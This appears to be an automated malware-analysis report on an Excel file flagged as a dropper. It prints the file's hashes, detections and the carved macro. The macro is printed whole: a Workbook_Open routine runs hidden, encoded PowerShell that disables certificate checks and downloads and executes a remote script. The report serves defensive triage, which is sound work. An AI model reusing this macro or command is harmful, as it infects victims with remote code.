Office (OLE) malware analysis — malicious · 468a95a13ef88a7f

MALICIOUS

Office (OLE)

94.5 KB Created: 2015-06-09 14:21:06 Authoring application: Microsoft Excel First seen: 2019-05-16

MD5: 543d5e22dc9f8e57ca288e6c0ea281f3 SHA-1: 0161cdc4a489a62851f41cd482b0b30c22c59327 SHA-256: 468a95a13ef88a7f545c6466ababe50d549ba39361c938c2615a84a47ac562c0

368 Risk Score

Heuristics 9

ClamAV: Xls.Dropper.Agent-5482215-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.Agent-5482215-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

strCommand = "PowerShell.exe -Exec Bypass -NoL -Enc WwBuAGUAdAAuAHcAZQBiAHIAZQBxAHUAZQBzAHQAXQA6ADoAZABlAGYAYQB1AGwAdAB3AGUAYgBwAHIAbwB4AHkALgBjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBuAGUAdAAuAGMAcgBlAGQAZQBuAHQAaQBhAGwAYwBhAGMAaABlAF0AOgA6AGQAZQBmAGEAdQBsAHQAYwByAGUAZABlAG4AdABpAGEAbABzADsAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawAgAD0AIAB7ACQAdAByAHUA …
Shell strCommand, 0
End Sub

PowerShell reference in VBA critical OLE_VBA_PS

PowerShell reference in VBA

Matched line in script

Dim strCommand As String
strCommand = "PowerShell.exe -Exec Bypass -NoL -Enc WwBuAGUAdAAuAHcAZQBiAHIAZQBxAHUAZQBzAHQAXQA6ADoAZABlAGYAYQB1AGwAdAB3AGUAYgBwAHIAbwB4AHkALgBjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBuAGUAdAAuAGMAcgBlAGQAZQBuAHQAaQBhAGwAYwBhAGMAaABlAF0AOgA6AGQAZQBmAGEAdQBsAHQAYwByAGUAZABlAG4AdABpAGEAbABzADsAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawAgAD0AIAB7ACQAdAByAHUA …
Shell strCommand, 0

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Attribute VB_Customizable = True
Private Sub Workbook_Open()
```
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1460 bytes
SHA-256: `f36eb321771bda5c6e8b2ce2b253625ace02bfadfa641f09020d4ab6131b5b9a`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Dim strCommand As String strCommand = "PowerShell.exe -Exec Bypass -NoL -Enc WwBuAGUAdAAuAHcAZQBiAHIAZQBxAHUAZQBzAHQAXQA6ADoAZABlAGYAYQB1AGwAdAB3AGUAYgBwAHIAbwB4AHkALgBjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBuAGUAdAAuAGMAcgBlAGQAZQBuAHQAaQBhAGwAYwBhAGMAaABlAF0AOgA6AGQAZQBmAGEAdQBsAHQAYwByAGUAZABlAG4AdABpAGEAbABzADsAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawAgAD0AIAB7ACQAdAByAHUAZQB9ADsAIABJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHMAMQAxAC4AYwBvAG4AbgBlAGMAdAAtAHIAbwBzAC4AYwBvAG0ALwBsAG8AZwBpAG4ALQBwAHIAbwBtAHAAdAAuAHAAcwAxACcAKQA=" Shell strCommand, 0 End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True

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